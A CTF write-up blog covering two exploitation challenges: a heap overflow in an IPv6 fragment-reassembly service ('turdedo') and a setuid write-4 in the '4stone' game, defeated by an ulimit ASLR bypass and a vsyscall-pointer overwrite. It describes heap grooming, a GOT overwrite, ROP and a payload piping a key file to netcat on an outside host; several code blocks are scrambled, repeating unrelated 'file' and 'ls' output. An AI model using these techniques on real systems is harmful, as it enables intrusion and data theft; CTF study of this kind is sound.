structip6_hdr{union{structip6_hdrctl{u_int32_tip6_un1_flow;/* 20 bits of flow-ID */u_int16_tip6_un1_plen;/* payload length */u_int8_tip6_un1_nxt;/* next header */u_int8_tip6_un1_hlim;/* hop limit */}ip6_un1;u_int8_tip6_un2_vfc;/* 4 bits version, top 4 bits class */}ip6_ctlun;structin6_addrip6_src;/* source address */structin6_addrip6_dst;/* destination address */}__attribute__((__packed__));structudphdr{u_shortuh_sport;u_shortuh_dport;u_shortuh_ulen;u_shortuh_sum;};

This structure can be added directly into IDA’s local types window. I modified mine slightly, by removing the union and breaking theip6_hdrctl structure out into a separate declaration. I did this because I’ve had issues in the past with nested structures and unions in IDA. However, it seems to work fine if you declare them all individually.

Main Loop

sub_804BD3B seems to be the main loop for the service. A few things jump out. First, it reads 1500 bytes from the UDP socket (the same as Ethernet’s default MTU size) into a stack buffer. If we cast this buffer to our ipv6 header, we get a better idea of what’s going on.

intsub_804BD3B(){constchar*v0;// eax@4uint16_tv1;// ax@6intv2;// ebx@8intv3;// ebx@8constchar*v4;// eax@8constchar*v5;// eax@12socklen_taddr_len;// [sp+20h] [bp-608h]@1intv8;// [sp+24h] [bp-604h]@2ip6_hdr*v9;// [sp+28h] [bp-600h]@6intv10;// [sp+2Ch] [bp-5FCh]@8charbuf[1500];// [sp+30h] [bp-5F8h]@1structsockaddraddr;// [sp+60Ch] [bp-1Ch]@15intv13;// [sp+61Ch] [bp-Ch]@1v13=*MK_FP(__GS__,20);addr_len=16;memset(buf,0,sizeof(buf));while(1){v8=recvfrom(fd,buf,1500u,0,&addr,&addr_len);// read in packetif(v8<=0)break;sub_804BCA5();if(v8>39){v9=(ip6_hdr*)buf;v1=ntohs(*(uint16_t*)&buf[4]);if(v1+40==v8)// Size check?{if(!memcmp(&ipv6addr,&v9->ip6_dst,0x10u))// Meant for us?{if(v9->ip6_un1.ip6_un1_nxt==44){sub_804969B(buf,v8,&addr);}elseif(v9->ip6_un1.ip6_un1_nxt==17){if(v8>48)sub_80495CD(&buf[48],v8-48);sub_804B45B(buf,&addr);}else{printf("Invalid protocol: %d\n",v9->ip6_un1.ip6_un1_nxt);}memset(buf,0,sizeof(buf));}else{if(debug){v5=(constchar*)sub_8049080(16);fprintf(stderr,v5);}memset(buf,0,sizeof(buf));}}else{if(debug){v2=4*((*(_BYTE*)v10&0xF)+10);v3=ntohs(v9->ip6_un1.ip6_un1_plen)+v2;v4=(constchar*)sub_8049080(15);fprintf(stderr,v4,v8,v3);}memset(buf,0,sizeof(buf));}}else{if(debug){v0=(constchar*)sub_8049080(14);fprintf(stderr,v0,v8);}memset(buf,0,sizeof(buf));}}return*MK_FP(__GS__,20)^v13;}

This code does 3 interesting things:

• It seems to validate that the reported packet length was what was received.
• It checks to see if the packet’s destination address matches our local ipv6 address.
• It checks theip6_un1.ip6_un1_nxt field.

According to the spec, theip6_un1.ip6_un1_nxt is the “next” protocol – meaning the one encapsulated in the IPv6 packet. If we search IDA’s standard enum database (by clicking the value and hitting ’m’), we’ll see that17 isIPPROTO_UDP and44 isIPPROTO_FRAGMENT. Specifying any other value gives an “invalid protocol” error. The functions associated with each check are the handlers for UDP packets and ip6 fragmentation packets, respectively.

I decided to dive into the UDP processor first.

UDP Processor

The UDP processor is pretty straightforward, but it’s a lie. It’s really a fake TCP connection. You have to associate with a SYN/SYNACK/ACK. Once this is done, it keeps a record of your connection in the state table and forwards all subsequent packets onto a command processor. I’m going to fast forward through the reverse engineering and just provide my fully annotated decompilation:

int__cdecludp_state_machine(udp_ip63*packet_,structsockaddr*addr){char**v2;// eax@3char**v3;// eax@6uint16_tv4;// bx@7intv5;// esi@9intv6;// ebx@9char**v7;// eax@9intudp_sport;// ebx@10uint16_tudp_dport;// ax@10uint16_tv11;// ax@25uint16_tpacket_len;// ax@28 MAPDSTin6_addr*v13;// edx@34in6_addr*v14;// eax@34in6_addr*v15;// edx@34in6_addr*v16;// eax@34intpipedes[2];// [sp+44h] [bp-A4h]@18udphdr*udphdr;// [sp+58h] [bp-90h]@4char*udp_data;// [sp+5Ch] [bp-8Ch]@4struct_ptr*ptr;// [sp+60h] [bp-88h]@10intwrite_len;// [sp+64h] [bp-84h]@24chars[100];// [sp+68h] [bp-80h]@12intv25;// [sp+CCh] [bp-1Ch]@1v25=*MK_FP(__GS__,20);cleanup_stale_connections();if(ntohs(packet_->hdr.ip6_un1_plen)>7u){udphdr=&packet_->udphd;udp_data=(char*)packet_->data;if(ntohs(packet_->udphd.uh_dport)==3544){v4=htons(packet_->hdr.ip6_un1_plen);if(v4==ntohs(udphdr->uh_ulen)){udp_sport=ntohs(udphdr->uh_dport);udp_dport=ntohs(udphdr->uh_sport);ptr=lookup_packet_in_state_table(addr,(char)packet_->hdr.ip6_src.__u6_addr32[0],(int)packet_->hdr.ip6_src.__u6_addr32[1],(int)packet_->hdr.ip6_src.__u6_addr32[2],(int)packet_->hdr.ip6_src.__u6_addr32[3],(char)packet_->hdr.ip6_dst.__u6_addr32[0],(int)packet_->hdr.ip6_dst.__u6_addr32[1],(int)packet_->hdr.ip6_dst.__u6_addr32[2],(int)packet_->hdr.ip6_dst.__u6_addr32[3],udp_dport,udp_sport);if(ptr){switch(LOBYTE(ptr->state)){caseSYNACK:snprintf(s,0xEu,"ACK%d",ptr->rand_value);if(ntohs(packet_->hdr.ip6_un1_plen)==strlen(s)+8){if(!strncmp(udp_data,s,strlen(s))){LOBYTE(ptr->state)=2;snprintf(s,0x63u,"server%% ");if(sendto_0(s,strlen(s),(ptr_type*)ptr)!=strlen(s))remove_from_state_table(ptr);}else{remove_from_state_table(ptr);}}break;caseACK:if(!pipe(pipedes)){ptr->child_process=fork();if(ptr->child_process==-1){free(ptr);}else{if(!ptr->child_process){ptr->child_pipe[0]=pipedes[0];close(pipedes[1]);cmdprocessor(ptr);exit(0);}ptr->child_pipe[1]=pipedes[1];close(pipedes[0]);LOBYTE(ptr->state)=3;ptr->time=time(0);packet_len=ntohs(packet_->hdr.ip6_un1_plen);write_len=write(ptr->child_pipe[1],&packet_->udphd,packet_len);if(write_len==-1||(v11=ntohs(packet_->hdr.ip6_un1_plen),v11!=write_len)){close(ptr->child_pipe[1]);kill(ptr->child_process,9);remove_from_state_table(ptr);}}}break;caseESTABLISHED:packet_len=ntohs(packet_->hdr.ip6_un1_plen);write_len=write(ptr->child_pipe[1],&packet_->udphd,packet_len);ptr->time=time(0);if(write_len==-1||ntohs(packet_->hdr.ip6_un1_plen)!=write_len){close(ptr->child_pipe[1]);kill(ptr->child_process,9);remove_from_state_table(ptr);}break;}}elseif(ntohs(packet_->hdr.ip6_un1_plen)==11&&!strncmp(udp_data,"SYN",3u)){ptr=(struct_ptr*)calloc(1u,0x54u);if(ptr){v13=&packet_->hdr.ip6_src;v14=(in6_addr*)&ptr->ip6_src_addr;v14->__u6_addr32[0]=packet_->hdr.ip6_src.__u6_addr32[0];v14->__u6_addr32[1]=v13->__u6_addr32[1];v14->__u6_addr32[2]=v13->__u6_addr32[2];v14->__u6_addr32[3]=v13->__u6_addr32[3];v15=&packet_->hdr.ip6_dst;v16=(in6_addr*)&ptr->ip6_dst_addr;v16->__u6_addr32[0]=packet_->hdr.ip6_dst.__u6_addr32[0];v16->__u6_addr32[1]=v15->__u6_addr32[1];v16->__u6_addr32[2]=v15->__u6_addr32[2];v16->__u6_addr32[3]=v15->__u6_addr32[3];ptr->tunnel_sockaddr=*addr;ptr->udp_sport=ntohs(udphdr->uh_sport);ptr->udp_dport=ntohs(udphdr->uh_dport);ptr->rand_value=rand()/2;snprintf(s,0x11u,"SYNACK%d",ptr->rand_value);if(sendto_0(s,strlen(s),(ptr_type*)ptr)==strlen(s)){LOBYTE(ptr->state)=SYNACK;ptr->time=time(0);if(add_to_state_table(ptr))free(ptr);}else{free(ptr);}}}}elseif(debug){v5=ntohs(udphdr->uh_ulen);v6=htons(packet_->hdr.ip6_un1_plen);v7=lookup_error_code(9);fprintf(stderr,(constchar*)v7,v6,v5);}}elseif(debug){v3=lookup_error_code(8);fprintf(stderr,(constchar*)v3);}}elseif(debug){v2=lookup_error_code(7);fprintf(stderr,(constchar*)v2);}return*MK_FP(__GS__,20)^v25;}

After you associated, a command processor wasfork()ed off and offered a few commands:

• uname
• uname [-asnrvmpio]
• ls
• ls [abcdefghijklmnopqrstuvwxyz0123456789/-. ]
• pwd
• echo
• exit
• cat (it's actually fake, it prints a taunt)

I checked each command for overflow, etc and didn’t see one. Although, I should have looked much more closely because the vulnerability I was supposed to find was in theecho command – a format string.

With a false sense of completeness, I moved on to the fragmentation code.

IP Fragmentation Reassembly

Any software security researcher will tell you that there are always bugs in IP fragmentation reassembly. I expected to find one here.

Much like before, I started with finding the appropriate structures for IPv6 fragmentation packets. It was also in theip6.h file.

structip6_frag{u_int8_tip6f_nxt;/* next header (what's the next layer: UDP, TCP, etc) */u_int8_tip6f_reserved;/* reserved field */u_int16_tip6f_offlg;/* offset, reserved, and flag (a bit packed field with 13 bits of offset, 2 reserved, and 1 flag */u_int32_tip6f_ident;/* identification */}

Below is my fully annotated decompilation:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

0

So, okami and I found 3 bugs in this function:

• Bug 1: The offset is stored in the top 13 bits of auint16_t. It should be shifted left 3 here.
• Bug 2: The new packet size isn’t added to the size of the existing fragments (reassembly fail). Not exploitable, just broken. :D
• Bug 3 & 4: Theoffset + packet size + 0x20 is stored in auint16_t. Our offset maxs out at0xfff8 (due to BUG 1), our packet size could be1500, and it also added0x20.

By manipulating the packet size and offset, we could get very small allocations (0x20-0x27) but overflow them by several thousand bytes.

Exploitation

Exploitation of this vulnerability was tough, as it required a bunch of heap fung-shei. Thankfully the heap was fairly deterministic.

Heap Overflow

The heap overflow was fairly easy to trigger, as a single packet could do it:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

1

Unfortunately, the overflow happened somewhere around 0xfe00 away from the fragment that caused the overflow. This means we’d need the overflowing packet to occur well before any other adjacent control data AKA heap manipulation.

After poking around, we decided the only thing we could get allocated in the entire heap block was other ip6 fragments.

Heap Manipulation via IP Fragmentation

Remember theip6_frag header? The identification field and the 1 bit flag come into play here quite a bit. The identification field is used for differentiating between fragmentation streams. The 1 bit flag is used to notify the receiving end that it should expect subsequent fragments. Turdedo handled this by adding a new item to a singly-linked list for each newip6f_ident tag and modifying the list item for any subsequent uses. Thankfully, we had nearly complete control over heap allocations. By sending a newip6f_ident with the more frags coming flag set, we would cause an allocation. By sending the same ident with the flag cleared, we could cause afree.

The linked list structure looks like this:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

2

If we could overwrite a list entry, we have two potential pointers we could use to cause arbitrary writes:frag_data andnext.

I used this control to allocate a couple of dozen fragments (each with unique idents) of size0x28 -- the smallest size I could allocate. For some reason, the largest allocation of the overflow packet ever made was0x27. It was close enough to not matter. The following image shows a simplified memory view:

Following the first set of allocations (blue), I sprayed a bunch of very large fragmented packets (purple). These will be the targets for my overflow later.

Next, I freed every other (blue) fragment by sending a “no more fragments” packet with the same identifier. This makes holes for our fragmented packet that will overflow.

Linked List Item Overwrite

We hope to land in one of those free blocks so our overflow overwrites something we can control later. Now we send the overflowing packet (red).

The overflow happens several thousand bytes further down the heap.

The black lines represent the meta data from each linked list entry. We just overwrote that with our forged entry (green).

Due to the way the service walks the linked list, we had to overwrite the list item with well-formed data. The only values we corrupted were the two pointers:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

3

Next, all we had to do was send a packet with the same identifier (tttt) as our forged list item and smaller size. This would cause the fragment reassembly to write the incoming packet data to thefrag_data pointer.

GOT Overwrite & Popen

We used our arbitrary write to overwrite thentohs entry in the.got. This gave usEIP control. However, NX is on, so we need to ROP. Thankfully, the UDP command parser importedpopen.

We used anadd esp, 0xdc; pop; pop; pop; ret to align our stack. Then we calledpopen("cat key | nc host port\x00", "r") with a single additional rop gadget.

Conclusion

Perhaps a little shockingly, the exploit (turdedo_x.py) worked the first time we tried it on the competition server and we got the following key:

$ file turdedo_5f55104b1d60779dbe8dcf5df2b186adturdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, stripped

4

An interesting note, our exploit got code execution in the parent process, whereas the other bug (the format string) got it in a child that’s forked off (the UDP command processor). This could have bit LegitBS, but they dropped privs from root earlier than normal.

This blog post was originally published on my CTF team’s GitHubhere.

The Codegate 2014 Qualifiers happened this past weekend. Codegate Quals is generally a good time (although it can be quite frustrating), so several Marauders and I decided we’d play. The competition was 30 hours long, which is nice as it doesn’t dominate an entire weekend. It started at 7am local time (EST) on Saturday and finished at 1pm on Sunday.

Codegate Scoreboard

I’m normally quite vocally negative about challenges that don’t have deterministic solutions. In the past, Codegate Quals has required brute-forcing stack-bases or leaking out libc through information disclosures. However, I’m happy to report that I was able to craft a deterministic 4stone exploit (after initially thinking it wasn’t possible).

4stone Overview

4stone was labeled as a 300point pwnable. By the time I started, two teams had already solved it – so I was expecting it to be pretty straightforward. The challenge description was quite lacking, providing only ssh credentials.

ssh guest@58.229.183.15 / ExtremelyDangerousGuestssh guest@58.229.183.14 / ExtremelyDangerousGuest

The 4stone binary was hosted locally in the/home/4stone directory.

$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

As shown above, 4stone is marked with the setuid bit and the key is read-only by the 4stone user. This is a common setup in Codegate. The organizers expect us to find a vulnerability and develop an exploit in the 4stone binary that we can leverage from the “unprivileged” guest user. Then we’d use our elevated privileges to read the key file.

It’s worth pointing out that folder permissions are not secure from an organizer perspective, as 4stone owns the directory. As the 4stone user (like you get after you pwn the binary), you could grieve the game by deleting or modifying any files in this directory – including the ones owned by root. The organizers actually mitigated this by mounting/home as read-only.

It’s always worth doing a little reconnaissance on the target system.

$ iduid=1004(guest)gid=1004(guest)groups=1004(guest)$ lsb_release -aNo LSB modules are available.Distributor ID:UbuntuDescription:Ubuntu 13.10Release:13.10Codename:saucy$ uname -aLinux notroottroot-virtual-machine 3.11.0-15-generic#25-Ubuntu SMP Thu Jan 30 17:25:07 UTC 2014 i686 i686 i686 GNU/Linux$ ls -l /home/total20drwxr-xr-x2 4stone 4stone4096 2월20 05:02 4stonedrwxr-xr-x2 guest guest4096 2월20 05:05 guestdrwxr-xr-x2 hypercat hypercat4096 2월19 21:14 hypercatdrwxr-xr-x2 membership membership4096 2월20 03:10 membershipdrwxr-xr-x2 minibomb minibomb4096 2월21 21:59 minibomb

It appears our guest account is a regular unprivileged account on an Ubuntu 13.10 32-bt x86 server. This server also hosts several other challenges. This server also isn’t a standardUS_EN server install (and why would it be?) - the locale is set toko_KR.UTF-8.

4stone Binary

The 4stone binary is a dynamically-linked 32bit ELF executable - nothing special here.

$ file 4stone4stone: ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked(uses shared libs),for GNU/Linux 2.6.24, from'%', stripped$ ldd 4stone linux-gate.so.1=>(0xb77a3000) libncurses.so.5=> /lib/i386-linux-gnu/libncurses.so.5(0xb7768000) libtinfo.so.5=> /lib/i386-linux-gnu/libtinfo.so.5(0xb7746000) libc.so.6=> /lib/i386-linux-gnu/libc.so.6(0xb7591000) libdl.so.2=> /lib/i386-linux-gnu/libdl.so.2(0xb758c000) /lib/ld-linux.so.2(0xb77a4000)

The binary does rely on libncurses. That’s potentially a little worrisome, as ncurses is quite foreign to me and can be quite difficult to script up interactions with it.

4stone main

So, let’s load it into IDA. 4stone is well-formed and IDA has no trouble disassembling it. After browsing around a bit, 4stone appears to be a ncurses-based game. When you beat it, the game prints “You win! Xx seconds” or “You lose” depending on the return value of the game. The seconds it takes you are calculated from twogettimeofday() calls (one before the game and one after).

Side-Note: 4stone’smain() sets up the frame pointer but then never uses it. This confuses IDA’s stack analysis. To have IDA correctly identify stack locals (so you can name them), you need to editmain’s function attributes. You can do this by right-clicking on main at the top and selecting “Edit Function…”.

Edit function

You’ll want to uncheck “BP based frame”. Now IDA correctly identifies all the stack locals.

4stone Main with locals

Isn’t that better? :)

The actual game code isn’t interesting. It appears to be a variant of Connect4 with more columns. I quickly launched the game to verify my suspicions.

The interesting bit happens when you win.

The game isn’t randomized at all, so the following keys will always win:\n\nLL\nL\nH\nH\n. These can be put into a text file and fed in viaSTDIN to win in 0 seconds.

The Vulnerability

4stone win conditions

The code above is pretty straightforward. If you win with a 0-second time, it takesargv[1], converts it to an integer, casts it as a pointer, and writes there with the result of thescanf

The C code is essentially this:

unsignedint*where=(unsignedint*)strtoul(argv[1],NULL,16);unsignedintwhat=0;scanf("%x",&what);if(where){*where=what;}

Well….that’s what I thought it was at first, as I ignored the comparisons in the middle. This is what it actually is:

unsigned int *where = (unsigned int *)strtoul(argv[1], NULL, 16);
unsigned int what = 0;
scanf("%x", &what);
if (where) {
if ((where >> 16) != 0x0804 && (where & 0xF0000000) != 0xB0000000) {
*where = what;
}
}

Those extra checks prevent you from writing anywhere in0x0804xxxx and0xBxxxxxxx. So, what falls into those areas? Well, everywhere interesting to write!

$ cat /proc/1585/maps
08048000-0804a000 r-xp 00000000 ca:01 393837 /home/ubuntu/4stone
0804a000-0804b000 r-xp 00001000 ca:01 393837 /home/ubuntu/4stone
0804b000-0804c000 rwxp 00002000 ca:01 393837 /home/ubuntu/4stone
09e14000-09e56000 rwxp 00000000 00:00 0 [heap]
b7592000-b7593000 rwxp 00000000 00:00 0
b7593000-b7596000 r-xp 00000000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7596000-b7597000 r-xp 00002000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7597000-b7598000 rwxp 00003000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
b7598000-b7599000 rwxp 00000000 00:00 0
b7599000-b7747000 r-xp 00000000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b7747000-b7749000 r-xp 001ae000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b7749000-b774a000 rwxp 001b0000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
b774a000-b774d000 rwxp 00000000 00:00 0
b774d000-b776b000 r-xp 00000000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776b000-b776c000 ---p 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776c000-b776e000 r-xp 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776e000-b776f000 rwxp 00020000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
b776f000-b7792000 r-xp 00000000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b7792000-b7793000 r-xp 00022000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b7793000-b7794000 rwxp 00023000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
b779a000-b779e000 rwxp 00000000 00:00 0
b779e000-b779f000 r-xp 00000000 00:00 0 [vdso]
b779f000-b77bf000 r-xp 00000000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
b77bf000-b77c0000 r-xp 0001f000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
b77c0000-b77c1000 rwxp 00020000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
bf87e000-bf89f000 rwxp 00000000 00:00 0 [stack]

The only memory region outside of this space is the heap - which isrwx, but randomized.

You might be saying, “but there surely must be a bullshit trick that undermines all ASLR on setuid binaries?”…and you’d be right! If you use the bash built-inulimit, you can modify the stack size of any subsequently launched binaries. By setting it to unlimited all the shared libraries and thevdso areas can’t be randomized into the stack’s area.

$ ulimit -s unlimited
$ cat /proc/1591/maps
08048000-0804a000 r-xp 00000000 ca:01 393837 /home/ubuntu/4stone
0804a000-0804b000 r-xp 00001000 ca:01 393837 /home/ubuntu/4stone
0804b000-0804c000 rwxp 00002000 ca:01 393837 /home/ubuntu/4stone
099d1000-09a13000 rwxp 00000000 00:00 0 [heap]
40000000-40020000 r-xp 00000000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40020000-40021000 r-xp 0001f000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40021000-40022000 rwxp 00020000 ca:01 131489 /lib/i386-linux-gnu/ld-2.17.so
40022000-40023000 r-xp 00000000 00:00 0 [vdso]
40023000-40027000 rwxp 00000000 00:00 0
4002d000-40050000 r-xp 00000000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40050000-40051000 r-xp 00022000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40051000-40052000 rwxp 00023000 ca:01 131526 /lib/i386-linux-gnu/libncurses.so.5.9
40052000-40070000 r-xp 00000000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40070000-40071000 ---p 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40071000-40073000 r-xp 0001e000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40073000-40074000 rwxp 00020000 ca:01 131569 /lib/i386-linux-gnu/libtinfo.so.5.9
40074000-40222000 r-xp 00000000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40222000-40224000 r-xp 001ae000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40224000-40225000 rwxp 001b0000 ca:01 131842 /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
40225000-40228000 rwxp 00000000 00:00 0
40228000-4022b000 r-xp 00000000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022b000-4022c000 r-xp 00002000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022c000-4022d000 rwxp 00003000 ca:01 131845 /lib/i386-linux-gnu/tls/i686/nosegneg/libdl-2.17.so
4022d000-4022e000 rwxp 00000000 00:00 0
bfa82000-bfaa3000 rwxp 00000000 00:00 0 [stack]

Wow, what an awful feature! The only memory regions randomized now are the heap and the stack.

Exploitation

So, where to overwrite? With a write-4 on Linux, you’d normally target the.got entry for the nextlibc call, but we can’t do that here because the.got falls in the0x0804xxxxx range. While we can’t directly write to the.got, we can still abuse its use.

The onlylibc call after our write is to_exit. 4stone doesn’t haveBIND_NOW set, so the actual address still hasn’t been resolved. The call to_exit will be lazy bound and currently points to the dynamic linker’s dynamic resolution functions (_dl_runtime_resolve). It’s up to the dynamic linker (ld.so) to resolve the address ofexit and then jump there. I had a suspicion that there could be a nice juicy function pointer to overwrite somewhere in this process.

When diving down into the dynamic symbol resolution, I didn’t find a lot of areas I could abuse. I expected to be able to overwrite a.got or.data pointer inld.so, but was coming up short. The only indirect call or jump I could find was a call togs:0x14. On 32-bit Linux,gs:0x14 is a pointer to thevdso__kernel_vsyscall() wrapper.

There’s a problem with this approach though, the data structure pointed to bygs:0 is the thread-local storage and is randomized…unless you set your stack limit to unlimited (it’s really a broken feature).

Since gdb is broken and awful and doesn’t let you reference memory off any segment selector other thands, we have to get clever to get the location of the TLS block.

(gdb) catch syscall set_thread_area
Catchpoint 1 (syscall 'set_thread_area' [243])
(gdb) run
Starting program: /home/ubuntu/./4stone
_______________________________________________________________________________
eax:FFFFFFDA ebx:BFFFF060 ecx:40021000 edx:4022D6C0 eflags:00000206
esi:00000001 edi:40026464 esp:BFFFF050 ebp:BFFFF198 eip:40000D31
cs:0073 ds:007B es:007B fs:0000 gs:0000 ss:007B o d I t s z a P c
[007B:BFFFF050]---------------------------------------------------------[stack]
BFFFF080 : 00 00 00 00 00 00 00 00 - 0F 00 00 00 00 00 00 00 ................
BFFFF070 : 00 10 02 40 5C 15 02 40 - 64 64 02 40 CD 2F 00 40 ...@\..@dd.@./.@
BFFFF060 : FF FF FF FF C0 D6 22 40 - FF FF 0F 00 51 00 00 00 ......"@....Q...
BFFFF050 : 08 02 00 00 01 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:40000D31]---------------------------------------------------------[ code]
=> 0x40000d31 <init_tls+329>: xchg ebx,ecx
0x40000d33 <init_tls+331>: test eax,eax
0x40000d35 <init_tls+333>: jne 0x40000d4d <init_tls+357>
0x40000d37 <init_tls+335>: mov eax,DWORD PTR [esp+0x10]
0x40000d3b <init_tls+339>: lea eax,[eax*8+0x3]
0x40000d42 <init_tls+346>: mov gs,eax
------------------------------------------------------------------------------
Catchpoint 1 (call to syscall set_thread_area), 0x40000d31 in init_tls () at rtld.c:786
786 rtld.c: No such file or directory.
(gdb) finish
Run till exit from #0 0x40000d80 in init_tls () at rtld.c:793
_______________________________________________________________________________
eax:4022D6C0 ebx:40021000 ecx:BFFFF060 edx:4022D6C0 eflags:00000282
esi:4002155C edi:40026464 esp:BFFFF080 ebp:BFFFF198 eip:40002FCD
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFFFF080]---------------------------------------------------------[stack]
BFFFF0B0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF0A0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF090 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
BFFFF080 : 00 00 00 00 00 00 00 00 - 0F 00 00 00 00 00 00 00 ................
[0073:40002FCD]---------------------------------------------------------[ code]
=> 0x40002fcd <dl_main+6317>: mov DWORD PTR [ebp-0x98],eax
0x40002fd3 <dl_main+6323>: mov eax,DWORD PTR [ebx+0x89c]
0x40002fd9 <dl_main+6329>: test eax,eax
0x40002fdb <dl_main+6331>: jne 0x40002fe2 <dl_main+6338>
0x40002fdd <dl_main+6333>: call 0x40000d84 <security_init>
0x40002fe2 <dl_main+6338>: mov eax,DWORD PTR [ebp-0x90]
------------------------------------------------------------------------------
0x40002fcd in dl_main (phdr=0x8048034, phnum=0x9, user_entry=0xbffff1ec, auxv=0xbffff2f0) at rtld.c:1819
1819 in rtld.c
Value returned is $1 = (void *) 0x4022d6c0
(gdb)

The value (0x4022d6c0) inEAX is the static pointer to the TLS block. Note: this value was slightly different on the Codegate servers (I suspect because of locale considerations).

(gdb) x/40x $eax
0x4022d6c0: 0x4022d6c0 0x4022db88 0x4022d6c0 0x00000000
0x4022d6d0: 0x40022414 0x00000000 0x00000000 0x00000000
(gdb) x/5i 0x40022414
0x40022414 <__kernel_vsyscall>: push ecx
0x40022415 <__kernel_vsyscall+1>: push edx
0x40022416 <__kernel_vsyscall+2>: push ebp
0x40022417 <__kernel_vsyscall+3>: mov ebp,esp
0x40022419 <__kernel_vsyscall+5>: sysenter

Excellent, now we know where to overwrite (0x4022d6d0 - the location of the pointer tokernel_vsyscall()). Overwriting that value gives usEIP control shortly after the call to_exit().

I crafted a file that I feed in viaSTDIN to cause the vulnerable condition:

$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

0

The65656565 is read byscanf to be the “what” part of the write-4. Running this in gdb results in the following:

$ ls -al /home/4stone/total36drwxr-xr-x2 4stone 4stone4096 2월20 05:02 .drwxr-xr-x7 root root4096 2월23 08:18 ..-rwsr-xr-x1 4stone 4stone9764 2월20 19:27 4stonelrwxrwxrwx1 root root9 2월19 21:14 .bash_history -> /dev/null-rw-r--r--1 4stone 4stone220 3월312013 .bash_logout-rw-r--r--1 4stone 4stone3637 3월312013 .bashrc-r--------1 4stone 4stone27 2월21 21:54 key-rw-r--r--1 4stone 4stone675 3월312013 .profile

1

Alright, now we haveEIP control, where do we jump? If you remember from earlier, the stack and heap areRWX. However, there aren’t many options to get data into them. 4stone enforces anargc of less than or equal to 2, so we can’t pass them in on the command line, leaving environment variables as our only option.

It’s at this point, that I got really frustrated because I thought I was going to have to spray a huge NOP sled and continuously jump blindly into the stack hoping for it to land…which is exactly what I did for a couple of hours. I eventually gave up and started looking for other options.

In my naivety, I had overlooked thatenvp was around0x100 bytes down the stack from the crashing state.

